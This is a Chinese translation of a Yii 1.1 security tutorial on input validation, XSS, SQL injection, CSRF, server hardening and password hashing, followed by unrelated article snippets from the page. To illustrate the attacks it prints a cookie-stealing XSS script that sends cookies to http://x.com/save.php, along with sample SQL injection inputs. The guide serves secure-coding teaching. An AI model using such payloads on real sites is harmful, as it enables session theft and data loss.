[翻译]如何用YII写出安全的WEB应用

前言

虽然本文是基于YII1.1,但其中提到的安全措施适用于多数web项目安全场景,所以翻译此文,跟大家交流。原文地址

目录

安全基本措施... 2

验证与过滤用户的输入信息... 2

原理... 2

客户端验证... 2

YII如何防范... 2

跨站脚本攻击XSS. 4

原理... 4

YII如何防范... 5

SQL注入... 7

原理... 7

YII如何防范... 8

跨站请求伪造CSRF. 12

配置WEB服务器... 12

PHP项目一些有用的指令... 15

授权... 16

验证... 17

常用工具... 18

正文

提示:虽然本文内容丰富,但并未囊括所有的安全方面的知识;如果您程序对安全要求相当高,请多多参考相关技术。

安全基本措施

  • 对用户所有输入的信息都要验证与过滤,再进行处理。
  • 对所有输出到浏览器的信息都要过滤
  • 程序要经过debug模式的测试(开发环境下)

如下操作:设置YII_DEBUG为true,并设置error_reporting(E_ALL);设置后,YII会打印出所有错误和警告的信息,出错的代码与原因;

注意,不要忽略任务一个提示,即使一个警告(E_NOTICE)都可能引发安全问题,比如未定义的数组的键。

  • 在生产环境 下一定要关闭debug

要保证产品中的提示信息不包含调试敏感信息。

  • 尽量对用户输入的信息都用白名单过滤,而不要用黑名单过滤;
  • 在产品里部署日志系统,定期检查警告与错误提示;

一般两种日志:YII记录程序中运行的日志,web服务器和PHP记录服务端的日志。

接下来将详细阐述。

验证与过滤用户的输入信息

原理

比如,当用户修改自己档案中的生日时,后台应该要确保他输入的是有效的日期;这不仅仅是为了防止用户的误操作,也是为了确保安全。如,要确保用户输入的是正确的时间格式“1951-01-25”,以防止sql注入与跨域攻击。验证用户输入虽然不是最有效的防范手段,但这是防范措施的第一步。

客户端验证

客户端验证并不能防范安全隐患,但能使程序与用户的交互更友好。为什么说客户端验证也不能保证安全呢?比如下面的这段HTML代码:

<input type="hidden" name="id" value="1" />

<input type="text" name="date" size="10" />

<select name="list"><option>1</option><option>2</option></select>

虽然,网页前端输出的数据与各种html的input与select控件,但用户可以将这控件全部修改成textarea,然后再发送到后台。

YII如何防范

YII提供了下面两种方式处理这种情况。(在不用YII的情况下,使用PHP的类型转换与过滤扩展。)

基于model的验证

多数时候,用户输入的信息会由model来处理,而model是继承自CFormModel 或者 CActiveRecord 。这两个类的父类CMode的rules()方法用来定义字段验证规则。

验证用户输入的信息也可以写在CComponent 的行为和model 的beforeValidate()方法里。

<?php

// controller里Action

$model = new Comment;

$model->attributes = $_POST[‘Comment‘];

if ($model->save()) { // 验证通过后,才会被保存

$this->redirect(array(‘view‘, ‘id‘ => $model->id));

} else {

// 未通过验证,或保存未成功

}
<?php

// model

class Comment extends CActiveRecord

{

public function rules()

{

return array(

array(‘parent‘, ‘numerical‘, ‘integerOnly‘ => true),

array(‘strangedata‘, ‘customValidateForStrangedata‘),//自定义的验证器

array(‘description‘, ‘length‘, ‘max‘ => 255),

);

}

// 继承父类的beforeValidate(),在验证之前执行

protected function beforeValidate()

if (!empty($this->description) && substr_count($this->description, ‘"‘) % 2 !== 0) {

$this->addError("description", "引号没有配对");

// return false; // stop validation

}

return parent::beforeValidate();

}

/*自定义的验证方法

* @return boolean Continue the validation process? */

protected function customValidateForStrangedata($attribute, $params)

{

$this->addError($attribute, "validation failed");

return false;

}

 

在编写程序的时候,应该重视对用户输入信息的验证,这不仅仅是为了安全,也能保持后台收集到正确的数据。YII已经为我们定义多种的字段的验证方式,而且自己也还可以新增验证器。同时,在不同的场景下也可以使用不同的验证。比如,某个字段仅需要在修改的时候验证,而在新增的时候,则不需要验证。

基于controller验证

有的用户输入信息需要直接在controller里验证。当这种情况的时候,应该使用的PHP的类型转换。一般都这么处理数字型的ID。

<?php

// 不安全

$model = Post::model()->findByPk($_GET[‘id‘]);

// 安全

$model = Post::model()->findByPk((int) $_GET[‘id‘]);

 

如果传入字段的类型不是数字型,推荐使用model进行验证。

对上面示例的补充

当遇到上面例子中第一种写法的时候,YII中model的findByPk()方法会自动转换ID为数字型 (下面SQL注入章节会重点介绍)。然而多数情况下,依靠YII的这种自动处理是不保险的。比如,当恶意用户输入这样一个url:comment/delete?id[]=2\&id[]=1。后台$_GET[‘ID’]接收到的就是一个数组,如果此ID没有被验证就用于其它函数(不仅仅 是findByPk)处理,这就存在安全隐患。

跨站脚本攻击XSS

原理

如果用户的输入的信息没有过滤与验证,就后台就直接交此信息输出到浏览器,这可能被恶意用户利用,从而进行XSS攻击。比如,用户输入JavaScript代码,而其它用户又浏览了此用户的信息,则可能造成用户的信息被窃取。典型案例是盗取用户的cookie信息。

示例:

<h2> <?php echo $user->name ?>的简历</h2>

//未过滤的用户输出数据:

<a href="/posts?name=<?php echo $user->login ?>"

title=‘<?php echo $user->name ?>‘>查看我的档案</a>

 

为什么上面示例有案例隐患呢?如果上例中$user->name是如下所示的代码:

张三<script>document.write(‘<img src="http://x.com/save.php?cookie=‘+getCookie()+‘" />‘);function getCookie(){...}</script>

 

那么当其它用户访问张三的档案的时候,将会从其它服务器加载一张图片,而此加载图片的请求携带着访问者的cookies信息。这就是XSS攻击基本的原理。

PHP提供htmlspecialchars函数将一些预定义的字符转(如: &,",’,<,>)换为 HTML 实体。上面示例中还有超链接,所以htmlspecialchars结合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一起使用。

YII如何防范

普通文本

用CHtml::encode()输出普通文本。示例:

<h2> <?php echo CHtml::encode($user->name) ?>简历</h2>

 

CHtml::encode()封装了htmlspecialchars函数,默认文本编码是YII应用的编码;所以如果需要输出的文本的编码不是UTF-8,就需要在YII的配置文件(main.php)里设置charset;

有时需要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML标签。遇到这种情况,使用strip_tags后,切记要使用CHtml::encode();不要单独使用strip_tages()。

富文本

如果浏览器需要显示用户输入的HMTL代码,后台应该在保存用户输入数据前过滤。有几个PHP库解决这个问题,其中著名的如 Html Purifier 。Yii已经将Html Purifier封装成CHtmlPurifier。

示例:

<li class="comments">

<?php

$purifier = new CHtmlPurifier();

$purifier->options = array(

‘HTML.Allowed‘ => ‘p,a[href],b,i‘,

);

foreach (Comment::model()->findAll() as $comment) {

// 危险的输出

//echo "<li>" . $comment->text . "</li>\n";

// 安全的输出

echo "<li>" . $purifier->purify($comment->text) . "</li>\n";

}

?>

</li>

 

一般使用富文本编辑器(如:TinyMCE,CkEditor)来满足用户输入HTML的需求。但Markdown或wiki syntaxt语言是个更好的选择。

示例:

<div class="comment">

<?php

$md = new CMarkdownParser();

echo "<div>" . $md->transform($comment) . "</div>";

?>

</div>

 

URL

使用rawUrlEncode()转义网址中的URL部分,urlEncode()转义网址中的网址中的参数部分。

示例

<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>

<a href="/search/<?php echo rawUrlEncode($query)) ?>">转义网址中url部分</a>

<a href="/?param=<?php echo urlEncode($param) ?>">转义url的参数部分</a>

<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">转义整个网址</a>

 

CHtml::encode()不能单独在这里使用,如$query = ‘xxx.com?x="N & B"‘,这样CHtml::encode()会将’&’,转义成’&amp’。

CSS

使用Html Purifier处理CSS;(详见上章富文本的处理)。

JavaScript

使用CJavaScript的静态方法,对JS变量作转义输出;

示例:

<?php

$messages = array("Rock‘n roll", ‘Say "hello"‘);

$title = "D‘accord";

Yii::app()->clientScript->registerScript(‘snippet‘, "

function displayMsg() {

var messages = " . CJavaScript::encode($messages) . ";

var title = ‘" . CJavaScript::quote($title) . "‘;

// ...

}

");

 

如果不需要YII转义JS,可以使用js:前缀。如下所示:

<?php

$this->widget(

‘zii.widgets.jui.CJuiAutoComplete‘,

array(

‘name‘ => ‘field_name‘, // 默认会使用CJavaScript::quote 转义变量

‘source‘ => ‘js:function(request, response) { $.ajax({...}) }‘, // 在代码前加“js:”前缀

 

SQL注入

原理

简单的说,当把未经过滤和验证的数据直接拼装SQL语句,会存在SQL注入漏洞。

<?php

// 警告,以下是不安全的写法

Yii::app()->db

->createCommand("DELETE FROM mytable WHERE id = " . $_GET[‘id‘])

->execute();

$comments = Comment::model->findAll("user_id = " . $_GET[‘id‘]);

 

上面示例中的第一个sql语句,如果GET参数是”4 or 1=1”,这会导致表中的所有数据被删除;

第二个sql语句中,如果GET参数是2 UNION SELECT ,会导致数据库的任意数据都被查询出来。

YII如何防范

使用YII提供的函数操作

如下例

<?php

$id = intval($_GET[‘id‘]);

MyModel::model()->findByPk($id)->delete();

// 使用类型转换

$comments = Comment::model->findAllByAttributes(array(‘user_id‘ => (int)$_GET[‘id‘]);

使用YII函数要比纯SQL语句安全些;但,对于YII函数来说,使用数组比字符串更安全;如下例:

<?php

//存在sql注入

$comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(‘,‘, $ids) . ")");

// 安全

$comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));

 

SQL语句预编译

当必须要使用原生的SQL的时候,比如一个SQL语句有两个参数,如下所示:

SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date

FROM t_comment

WHERE (date > ‘{$date}‘ OR date IS NULL) AND title LIKE ‘%{$text}%‘

遇到这种情况,有以下两种相对安全的写法:

  • 给每个参数加引号(不推荐)
  • 使用预编译SQL(推荐)

当使用第一种方式的时候,可以使用YII的CDbConnection::quoteValue();

比如"date > ‘{$date}‘",可以写成 "date > " . Yii::app()->db->quoteValue($date)

数据库服务器先编译完传入的SQL语句,再将接收到的参数插入到SQL语句的占位符。但,当数据库服务器不支持预编译时,PHP就会模拟这个过程,这也可能有SQL注入的隐患(预编译的详细原理可以参考这篇博文)。

在YII中SQL预编译的过程可以如下所示的代码:

<?php
// 占位符没有引号
$sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
    . "FROM t_comment "
    . "WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 // 第一种写法
$command = Yii::app()->db->createCommand($sql);
$command->bindParam(":date", $date, PDO::PARAM_STR);
$command->bindParam(":text", "%{$text}%", PDO::PARAM_STR);
$results = $command->execute();
 // 第二种写法
$command = Yii::app()->db->createCommand($sql);
$results = $command->execute(array(‘:date‘ => $date, ‘:text‘ => "%{$text}%"));
 

当使用ActiveRecordr的时候用SQL预编译,语法会更加简练,如下所示:

<?php$comments = Comment::model->findAllBySql($sql, array(‘:date‘ => $date, ‘:text‘ => "%{$text}%"));

 

对SQL语句中LIKE的一些补充

在上面的示例中,即使不存在SQL注入隐患,此SQL语句中的like的使用也值得商榷。’%like%’不使用索引的,而’like%’是可以使用索引的;所以,如果将’like%’转换成’%like%’,当like的字段值很大的时候,会严重影响效率。

建议当需要使用到’%like%’的时候,尽量使用其它比较符(<=,>,……)替换。可以使用YII的CDbCriteria::compare()和CDbCriteria::addSearchCondition()函数,而简化操作。

对预编译SQL中参数占位符补充

从YII1.1.8起,占位符不再用”?”标识,而是使用”:”标识;

对预编译SQL的效率的补充

预编译稍长的SQL要比不编译要稍慢些,这对系统的整体性能影响非常小。但如果同一个SQL运行多次,预编译的效率优势就体现出来了。然而,如果使用的PHP模拟预编译,则跟不编译SQL没有区别。

如果预编译不满足应用的实际需求

虽然预编译能防止SQL注入,但有些时候因为SQL语句的各个部分都是变量,所以不能使用预编译。如下所示:

SELECT *

FROM {$mytable}

WHERE {$myfield} LIKE ‘{$value}%‘ AND post_date < {$date}

ORDER BY {$myfield}

LIMIT {$mylimit}

遇到这类情况,一般使用白名单过滤SQL语句的每个部分。YII提供如下类似的过滤方法:

<?php

if (!Comment::model()->hasAttribute($myfield)) {

die("Error");

}

 

更加常用的是使用YII的” Query Builde”,但不能跟CDbCriteria结合使用。

多数时候,我们可能是通过Model来查询,可以使用find*()类的方法与CDbCriteria一起使用。如下:

<?php

// YII会检测字段的合法性

$criteria = new CDbCriteria(

array(

‘order‘ => $myfield,

‘limit‘ => $mylimit,

)

);

$criteria->compare($myfield, $value, true); // LIKE % :$value会被转义

$criteria->compare(‘post_date‘, ‘<:date‘);

$criteria->params = array(‘:value‘ => $value, ‘:date‘ => $date);

$comments = Comment::model()->findAll($criteria)

 

YII的GII模块使用CGridView提供数据。CDataProvider使用CDbCriteria为CGridView提供数据,所以当使用CGridView的时候,YII会自动过滤与验证用户输入的查询条件。

一个完整的示例如下:

<?php

// 当不是原生的SQL语句的时候,YII会自动验证字段的合法性

$criteria = new CDbCriteria();

$criteria->order = $myfield;

$criteria->limit = $mylimit;

$criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE ‘%...%‘

$criteria->addCondition("post_date < :date");

$comments = Comment::model()->findAll($criteria, array(‘:value‘ => $value, ‘:date‘ => $date));

 

SQL注入的总结

当使用Model进行查询时,有如下五种方式:

1. CActiveRecord::findByPk() 或者 CActiveRecord::findAllByPk().(推荐)

2. CActiveRecord::findByAttributes() 或者 CActiveRecord::findByAttributes()

3. X::model()->find($criteria, array(‘:param1‘ => $value1)) 或者 ->findAll(...)

4. X::model()->find($sql, array(‘:param1‘ => $value1)) 或者->findAll(...)

5. X::model()->findBySql($sql, array(‘:param1‘ => $value1)) 或者 ->findAll(...)

当不是基于Model查询时,要使用预编译,如下所示:

<?php

$r = Yii::app()->db

->createCommand($sql)

->queryAll(array(‘:param1‘ => $value1));

 

使用这种方式时,切记要对用户输入的进行过滤与验证。

跨站请求伪造CSRF

需要对数据进行增、删、改,需要客户端的发起POST请求。这是一个好习惯,也是REST架构推荐的方式。如此,可以防止浏览器的一些的误操作而引起数据的变化。但是POST请求并不能防止CSRF,从安全角度来说POST的并没有提高安全性。但YII有一套机制可以防止CSRF,只不过默认并不有开启。

配置WEB服务器

本章节讨论是基于类UNIX系统(Linux,BSD,OSX)上安装的Apache服务器,PHP作为Apache的一个模块运行。其它的环境(如Windows,nginx,PHP-fpm…)配置可能不同,但其它原理是一样的。

DEBUG变量的设置

如果在生产环境中,把YII的YII_DEBUG设置为’true’,系统的调试信息会被打印到浏览器。设想一下,如果用户发现了系统的输入字段没有验证,那么用户发送了可能会发送在表单字段中发送一个数组,这样会导致PHP函数接收了错误的参数类型。如果在debug模式下,YII会打印出详细的调试信息。

不方便的是,YII_DEBUG是在YII应用的index.php中设置。所以,这个变量需要在开发环境、测试环境和生产环境中设置成不同的值。有一个解决方案是使用版本控制器设置,但这样很不方便。

推荐的方式是重写index.php,以便读取debug的配置。可以有如下两种方式:

  • Index.php读取配置文件里的debug变量。
  • 从WEB服务器上读取debug变量。

Apache中如下设置环境变量:

SetEnv YII_ENV testing

这个变量可以在配置文件或者.htaccess中设置。PHP程序可以通过$_SERVER[‘YII_ENV’]读取YII_ENV变量,如果没有设置,默认为生产环境。

YII应用需要注意的

YII框架所在的目录不应该放在WEB服务器的根目录里,要确保用户通过浏览器不能访问框架的文件,如’yiilite.php’。

YII应用中的三个目录:’assets’,’protected/data’,’protected/runtime’;web服务器需要对这三个目录的权限。除此之外的所有目录,web服务器应该只有的权限。

即使如此,黑客有可能创建或修改这三个目录的文件。特别是’assets’目录是可写的,又是可以直接通过HTTP请求访问。因此,’assets’目录里的PHP文件只能被当成文本类文件,不能被解析。

YII的应用默认提供了.htaccess文件用来防止’protected/’和’theme/class/views/’被浏览器直接访问。如果在Apache里配置,会更安全、更高效。下面示例了如何禁止运行’assets’文件夹里的PHP文件。

[apache]

# 示例:配置YII应用

Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">

AllowOverride None

</Directory>

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

<Directory "/home/myapp/www/assets">

#关闭PHP解析引擎

php_admin_flag engine off

Options -Indexes

</Directory>

 

下面示例:YII应用在虚拟机中设置:

[apache]

# Example config for Yii-myapp as an Apache VirtualHost

# Please set the paths and the host name to their right values

<VirtualHost *:80>

ServerName myapp.com

DocumentRootAlias /home/myapp/www

ErrorLog /var/log/apache2/myapp-error.log

CustomLog /var/log/apache2/myapp-access.log common

<Directory "/home/myapp/www">

Options +FollowSymLinks

# 从PHP5.4起已经被移除下面两个属性

php_flag register_globals Off

php_flag gpc_magic_quotes Off

# 禁止 .htaccess 重写

AllowOverride None

#重写URL

<IfModule mod_rewrite.c>

# 以下配置是隐藏URL中的index.php

# 需要配置YII的 urlManager.showScriptName = false

IndexIgnore */*

RewriteEngine on

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . index.php

</IfModule>

</Directory>

# 禁止通过浏览器访问YII应用 的protected目录

<Directory "/home/myapp/www/protected">

Deny from All

</Directory>

# 保护YII应用中没有PHP脚本的目录

<DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">

# 禁止执行PHP脚本

php_admin_flag engine off

# 禁止浏览目录下的文件目录

Options -Indexes

</DirectoryMatch>

</VirtualHost>

 

PHP项目一些有用的指令


指令


说明


allow_url_include


关闭


register_globals


关闭


magic_quotes_gpc


关闭,因为YII应用忽略此函数的作用


open_basedir


谨慎使用


display_errors


在生产环境下关闭


error_reporting


至少要报告E_ERROR。官方文档

这些指令可以在php.ini中配置。如果appache设置AllowOverride Options,那么在.htaccess中可以如下所示配置:

[apache]

# .htaccess 文件

php_flag display_errors off

php_value error_reporting -1

 

如果不允许在.htaccess文件和ini_set()中改变php.ini中配置的变量,则可以在appache的配置文件(如:httpd.conf)使用php_admin_flag指定。

[apache]

# Apache 配置文件

<Directory "/var/www/myapp">

php_admin_value open_basedir /var/www/myapp/:/tmp/

</Directory>

 

注意:SSL不在本文讨论的范围内。

授权

授权是保证用户只能访问权限内的资源,这个就说来话长了。不过,YII很方便的为我们提供了些类来处理授权问题。详情可以访问详情说明

其它一些资源:

验证

密码强度

为了防止弱密码的出现,我们可以自己写检验规则,也可以使用现成的YII扩展epasswordstrength

下面示例:自定义密码强度验证

<?php

class User extends CActiveRecord

{

public function rules()

{

return array(

array(‘password‘, ‘checkPasswordStrength‘),

);

}

protected function checkPasswordStrength($attribute, $params)

{

$password = $this->$attribute;

$valid = true;

$valid = $valid && preg_match(‘/[0-9]/‘, $password); // 含数字

$valid = $valid && preg_match(‘/\W/‘, $password); // 含其它字符

// ... 其它验证规则 ...

$valid = $valid && (strlen($password) > 7); // 最小长度

if ($valid) {

return true;

} else {

$this->addError($attribute, "密码格式不符合要求");

return false;

}

}

 

也可以先在客户端用JS对密码进行验证,用户可以立刻知道输入的密码是否符合要求。但不要忘记在后端也要用PHP进行验证。客户端的验证的YII扩展estrongpassword

密码加密

本文只讨论在常规应用应用服务器中的密码验证;其它服务不在讨论之列,如LDAP, SSO, OpenID。

对于用户的密码不能使用明文存储,需要加密存储。一个方便的方法是使用 PHPass。如下示例:

<?php

// autoload "protected/lib/PasswordHash.php"

Yii::import(‘application.lib.PasswordHash‘);

class User extends CActiveRecord

{

public function validatePassword($password) // 用户输入$password

{

// 

$hasher = new PasswordHash(8, FALSE);

return $hasher->checkPassword($password, $this->password);

}

public function beforeSave()

{

// 用密文替换明文

if (isset($this->password)) {

$hasher = new PasswordHash(8, FALSE);

$this->password = $hasher->HashPassword($this->password);

}

return parent::beforeSave();

}

 

加密函数可以自己写,但PHPass很安全和成熟。其作者开发过密码密码破解软件john the ripper。

常用工具

一些常用用的安全检测工具。

时间: 2024-08-21 11:59:20

[翻译]如何用YII写出安全的WEB应用的相关文章

如何用Word写出一篇规范的工作文档

1.1.  Office简介 Word Excel PPT Visio Project Access 1.2.  Word2007菜单快速掌握 开始 插入 页面布局 引用 邮件 审阅 视图 开发工具 加载项 Office按钮 1.3.  工作文档中通常包括的元素 封面(Logo.修改记录.作者信息) 目录(标题的应用.列表的应用) 页眉 页脚 页码(首页不同) 1.4.  实战操作 定结构(金字塔原理) 定格式(可提前定制) 填内容 完善细节 详细内容参见视频教程,观看地址(免费看):http:

Anaconda+django写出第一个web app(八)

今天来实现网站的登入和登出功能. 首先我们需要在urls.py中添加路径,注意此处的路径和在导航栏中设置的文字路径保持一致: from django.urls import path from . import views app_name = 'main' #此处为了urls的命名空间 urlpatterns = [ path('', views.homepage, name='homepage'), path('register/', views.register, name='regist

Anaconda+django写出第一个web app(一)

在安装好Anaconda和django之后,我们就可以开始创建自己的第一个Web app,那么首先创建一个空文件夹,之后创建的文件都在这个文件夹内. 启动命令行进入此文件夹内,可以先通过如下命令查看一下自己的python版本和django版本. python --version  django-admin --version 我的python和django版本分别是3.7.0和2.1.5 使用如下命令创建第一个项目,命名为mysite. django-admin startproject mys

Anaconda+django写出第一个web app(三)

前面我们已经建立了模型Tutorial,也已经可以用Navicat Premium打开数据看查看数据,接下来我们通过建立admin账户来上传数据. 在命令行执行如下命令来创建用户: python manage.py createsuperuser 然后输入相应的用户名.邮箱和密码,邮箱可随意填写,接下来执行 python manage.py runserver ,在浏览器输入 http://127.0.0.1:8000/admin/看到下图,输入刚才创建的用户名和密码: 我们可以在User中看到

Anaconda+django写出第一个web app(五)

今天开始学习网页风格和设计,就像python有Web框架一样,也有一些CSS框架.对于CSS框架,我们可以使用默认的样式,也可以在原基础上编辑修改.本教程使用的是materialize这个CSS框架[1],首页界面如下: 点解GET STARTED,我们可以把它下载到本地使用,也可以直接复制相应的链接使用. 为了套用如下这个Cards界面,我们直接将代码复制到home.html: 修改后的home.html内容如下: {% load static %} <!-- Compiled and min

Anaconda+django写出第一个web app(十)

今天继续学习外键的使用. 当我们有了category.series和很多tutorials时,我们查看某个tutorial,可能需要这样的路径http://127.0.0.1:8000/category/series/tutorial,这样看上去十分的繁琐,我们希望无论是在category下还是在series.tutorials下,都只有一级路径. 那么如何做呢?首先在views.py中,我们定义一个single_slug函数: def single_slug(request, single_s

android:如何用一天时间,写出“飞机大战”这样的游戏!(无框架-SurfaceView绘制)

序言作为一个android开发者,时常想开发一个小游戏娱乐一下大家,今天就说说,我是怎么样一天写出一个简单的"飞机大战"的.体验地址:http://www.wandoujia.com/apps/edu.njupt.zhb.planegame游戏分析玩过"飞机大战"游戏的都知道,飞机大战中的主要"角色"有:1.玩家飞机2.敌方飞机3.玩家飞机发送的子弹4.敌方Boss飞机发送的子弹我们需要控制的有:1.绘制屏幕内的角色2.控制角色的逻辑,比如:敌方

[label][翻译][JavaScript-Translation]七个步骤让你写出更好的JavaScript代码

7 steps to better JavaScript 原文:http://www.creativebloq.com/netmag/7-steps-better-javascript-51411781七个步骤让你写出更好的JavaScript代码 随着浏览器的性能提升,新的HTML5 APIS也在不断地被应用,JavaScript在web使用中不断增长.然而,一行糟糕的代码就有可能会影响到整个网站,产生糟糕的用户体验和造成潜在客户的流失. 开发者必须使用他所能使用的工具和技巧来提高代码的质量,

如何用css画出三角形

看到有面试题里会有问到如何用css画出三角形 众所周知好多图形都可以拆分成三角形,所以说会了画三角形就可以画出很多有意思的形状 画出三角形的原理是调整border(边框)的四个方向的宽度,线条样式以及颜色. 如果你将宽度调的足够大,改变不同方向的颜色,你就可以发现盒模型的border是四个梯形一样的线条. 这个时候如果将盒模型内部的height,width调为0px,则三角形就形成了. 1 border:100px solid transparent //边框100px,实线,透明颜色,下面三行